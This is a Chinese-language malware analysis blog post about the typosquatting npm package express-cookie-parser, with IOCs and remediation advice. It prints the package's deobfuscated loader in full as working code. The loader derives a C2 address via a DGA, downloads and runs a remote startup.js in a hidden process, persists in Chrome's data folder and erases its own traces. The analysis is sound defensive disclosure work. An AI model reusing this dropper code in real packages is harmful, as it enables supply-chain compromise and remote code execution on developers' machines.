目录
今天我们发现了一个恶意 npm 包 express-cookie-parser,它伪装成流行的 Express cookie-parser 包。express-cookie-parser 的 README.md 文件是从 cookie-parser 包复制的。恶意负载位于分析版本 1.4.12 的 cookie-loader.min.js 中。这是一个独特的恶意 npm 样本,它不依赖于 pre 或 post install 钩子。相反,负载在受影响的应用程序使用恶意库中的文档化 API 时执行。
负载执行以下操作:
- 作为
stage-1或stage-2负载的dropper负载 - 获取种子文件
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example - 基于硬编码的
496AAC7E和种子文件的 SHA256 哈希生成 C2 服务器域名 - C2 URL 格式为
http://${domain}/public/startup.js?ver=1.2&type=module - 从 C2 服务器下载
startup.js并使用系统上找到的node可执行文件执行它 - 执行后删除
cookie-loader.min.js并重写index.js以移除require('./cookie-loader.min')
在撰写本文时,URL https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example 包含以下负载:
JWT_SECRET=
EXPIRATION=9999h
PORT=5555
DB_USER=admin
DB_PASS=123456根据我们的分析,上述内容的 SHA256 哈希值被用于使用域名生成算法生成 C2 服务器域名。
调查
我们决定仔细分析 [email protected] 以识别恶意行为。package.json 是恶意 npm 包最常见的攻击向量,正如我们在分析 5000+ 恶意包中所见。然而,对于这个样本,package.json 看起来与原始的 cookie-parser 包相似。然而,index.js 在提供 API 兼容性伪装的同时加载了恶意负载。
让我们查看 index.js 文件:
// Loads dependency packages
var cookie = require('cookie');
var signature = require('cookie-signature');
// Loads the malicious payload
require('./cookie-loader.min');
// [...]
function cookieParser(secret, options) {
// Defines the cookieParser function for API compatibility
// [...]
}接下来我们查看了 cookie-loader.min.js 文件,这是实际的恶意负载。然而,它被压缩和混淆以使人或静态分析工具更难读取和分析。
cookie-loader.min.js 文件是一个 dropper,用于获取使用域名生成算法和固定值 496AAC7E 生成的远程 C2 服务器上的 startup.js 文件。
根据我们的分析,cookie-loader.min.js 执行以下操作:
- 识别 Windows、Linux 和 macOS 平台上系统中
node可执行文件的路径 - 基于操作系统计算 Google Chrome 用户数据目录路径以实现持久化(丢弃
startup.js) - 使用固定值
496AAC7E和种子文件的 SHA256 哈希通过域名生成算法计算 C2 域名 - 从 C2 服务器下载
startup.js并使用系统上找到的node可执行文件执行它 - 执行后删除
cookie-loader.min.js并重写index.js以移除require('./cookie-loader.min')
它还包含在执行后删除 cookie-loader.min.js 并从 index.js 中移除引用的代码。以下代码执行此操作:
function f() {
l.unlinkSync(__filename);
var e,
t = r.join(__dirname, 'index.js');
l.existsSync(t) &&
((e = l.readFileSync(t).toString()), l.writeFileSync(t, e.replace("require('./cookie-loader.min')", '')));
}域名生成算法 (DGA)
C2 服务器域名使用嵌入的 DGA 生成,基于以下两个参数
- 硬编码的 4 字节 XOR 密钥
496AAC7E - 种子文件的 SHA256 哈希
- 生成第二阶段负载 URL 为
http://${generated-domain}/public/startup.js?ver=1.2&type=module
根据我们的分析,DGA 执行以下操作:
- 将种子文件 SHA256 哈希的每个字节与硬编码密钥
496AAC7E进行 XOR 运算。 - 将 32 字节(XOR 后的哈希)结果转换为点分 IP 地址格式
基于种子文件 https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example 的 SHA256 哈希和密钥 496AAC7E,我们推导出了 206.214.129.67 作为 C2 服务器域名。
有关更多详细信息,请参阅 cookie-loader.min.js 文件的反混淆版本。
如果您受到影响该怎么办?
- 使用
npm remove express-cookie-parser移除该包
对于关键系统,我们建议应将系统视为已受感染,并应启动适当的事件响应流程。
SafeDep 如何提供帮助?
我们的免费开源工具 vet 与 SafeDep 云包扫描服务集成,可用于在安装前检测恶意包。vet-action 是一个 GitHub Action,可用于在您的 GitHub Actions 工作流中建立主动防护措施,抵御恶意开源包。
妥协指标 (IOC)
- 种子文件 URL
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example - C2 服务器域名生成算法密钥
496AAC7E - C2 服务器 IP
206.214.129.67,使用种子文件的 SHA256 哈希和密钥496AAC7E通过 DGA 生成
反混淆的 cookie-loader.min.js
以下是 cookie-loader.min.js 文件的反混淆版本:
// Import required Node.js modules
const { spawn, exec } = require('child_process');
const path = require('path');
const https = require('https');
const http = require('http');
const fs = require('fs');
const os = require('os');
const crypto = require('crypto');
// Create a SHA-256 hash object for later use
const sha256Hash = crypto.createHash('sha256');
// Base64 encoded URL for the initial payload
// Decodes to: https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
const encodedUrl =
'aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU=';
const decodedUrl = atob(encodedUrl);
/**
* Gets the path to the node executable on the system based on platform
* This ensures the malware can run node processes on any OS
*/
function getNodePath() {
// For Linux and macOS
if (os.platform() === 'linux' || os.platform() === 'darwin') {
return new Promise((resolve, reject) => {
exec('which node', { windowsHide: true }, (error, stdout, stderr) => {
if (error || stderr) {
reject('Node.js not found');
} else {
resolve(stdout.trim());
}
});
});
}
// For Windows
else if (os.platform() === 'win32') {
return new Promise((resolve, reject) => {
exec('where node', { windowsHide: true }, (error, stdout, stderr) => {
if (error || stderr) {
callback(null);
} else {
const nodePath = stdout.split('\n')[0].trim();
resolve(nodePath);
}
});
});
}
}
/**
* Creates a path for the malicious script
* Targets Chrome browser directories for persistence and to avoid detection
*/
let getScriptPath = () => {
let browserDataDir = null;
const homeDir = os.homedir();
// First attempt: Target Chrome user data directories based on OS
if (os.platform() === 'win32') {
browserDataDir = path.join(homeDir, 'AppData', 'Local', 'Google', 'Chrome', 'User Data');
} else if (os.platform() === 'linux') {
browserDataDir = path.join(homeDir, '.config', 'google-chrome');
} else if (os.platform() === 'darwin') {
browserDataDir = path.join(homeDir, 'Library', 'Application Support', 'Google', 'Chrome');
}
// Fallback: Use more generic locations if Chrome dirs don't exist
if (!fs.existsSync(browserDataDir)) {
if (os.platform() === 'win32') {
browserDataDir = path.join(homeDir, 'AppData', 'Local');
} else if (os.platform() === 'linux') {
browserDataDir = path.join(homeDir, '.config');
} else if (os.platform() === 'darwin') {
browserDataDir = path.join(homeDir, 'Library', 'Application Support');
}
}
// Create directory if it doesn't exist
if (!fs.existsSync(browserDataDir)) {
fs.mkdirSync(browserDataDir, { recursive: true });
}
// Create a Scripts directory in the browser data folder
const scriptsDir = path.join(browserDataDir, 'Scripts');
// Create Scripts directory if it doesn't exist
if (!fs.existsSync(scriptsDir)) {
fs.mkdirSync(scriptsDir, { recursive: true });
}
// Return path for the malware script
const malwarePath = path.join(scriptsDir, 'startup.js');
return malwarePath;
};
/**
* Executes a node script in a detached process
* This allows the malware to run independently from the parent process
*/
function runScript(scriptPath) {
spawn('node', [scriptPath], {
detached: true, // Makes process independent from parent
stdio: 'ignore', // Prevents any output being shown
windowsHide: true, // Prevents window from being shown on Windows
}).unref(); // Allows parent to exit independently
}
/**
* Covers tracks by removing the malicious loader and editing the index.js file
* This helps avoid detection after the malware has been installed
*/
function coverTracks() {
// Delete this malicious file
fs.unlinkSync(__filename);
// Remove the require statement from index.js to hide evidence
const indexPath = path.join(__dirname, 'index.js');
if (fs.existsSync(indexPath)) {
const indexContent = fs.readFileSync(indexPath).toString();
// Remove the require statement for this malicious module
fs.writeFileSync(indexPath, indexContent.replace("require('./cookie-loader.min')", ''));
}
}
/**
* Updates the downloaded script with the absolute path to node
* This ensures the script can be executed as a standalone file
*/
async function fixNodePath(scriptPath) {
// Only needed for non-Windows platforms
if (os.platform() !== 'win32') {
const scriptContent = fs.readFileSync(scriptPath).toString();
const nodePath = await getNodePath();
// Replace "node" with the absolute path
const updatedContent = scriptContent.replace('"node"', '"' + nodePath + '"');
fs.writeFileSync(scriptPath, updatedContent);
}
}
/**
* Downloads a file from a URL to a specified location
*/
function downloadFile(url, targetPath) {
// Choose http or https based on URL
let httpModule = url.startsWith('https') ? https : http;
return new Promise((resolve, reject) => {
httpModule.get(url, (response) => {
if (response.statusCode !== 200) {
reject('');
return;
}
const fileStream = fs.createWriteStream(targetPath);
response.pipe(fileStream);
fileStream.on('finish', () => {
resolve('');
});
});
});
}
/**
* Domain generation algorithm using XOR operations
* Creates C2 (command and control) server address from file hash and fixed value
*/
function generateDomain(hash, fixedValue) {
// XOR each byte of the hash with the fixed value
let result = '';
for (let i = 0; i < fixedValue.length; i++) {
const xorResult = parseInt(hash[i], 16) ^ parseInt(fixedValue[i], 16);
result += xorResult.toString(16);
}
// Convert the hex result to a dotted IP address format
let ipAddress = '';
for (let i = 0; i < result.length; i += 2) {
if (ipAddress) {
ipAddress += '.';
}
ipAddress += parseInt(result.slice(i, i + 2), 16).toString();
}
return ipAddress;
}
/**
* Creates the URL for downloading the actual malware payload
*/
function createMalwareUrl(domain) {
return \`http://${domain}/public/startup.js?ver=1.2&type=module\`;
}
/**
* Main execution function that orchestrates the attack
*/
function executeAttack() {
// Get the target path for the malware
let targetPath = getScriptPath();
// Download the initial script, generate domain, download malware, and execute it
downloadFile(decodedUrl, targetPath)
.then(() => {
// Calculate hash of the downloaded file
const fileContent = fs.readFileSync(targetPath);
sha256Hash.update(fileContent);
const fileHash = sha256Hash.digest('hex');
// Generate C2 domain using the hash and a fixed value
return createMalwareUrl(generateDomain(fileHash, '496AAC7E'));
})
.then((malwareUrl) => downloadFile(malwareUrl, targetPath))
.then(() => fixNodePath(targetPath))
.then(() => {
// Make the script executable and run it
fs.chmodSync(targetPath, '755');
runScript(targetPath);
})
.finally(() => {
// Clean up after 1.5 seconds to allow time for script to execute
setTimeout(() => {
coverTracks();
}, 1500);
});
}
// Execute the malicious code immediately when this file is required
executeAttack();- vet
- cloud
- malware
SafeDep 博客的最新内容
关注以获取开源安全与工程的最新更新和见解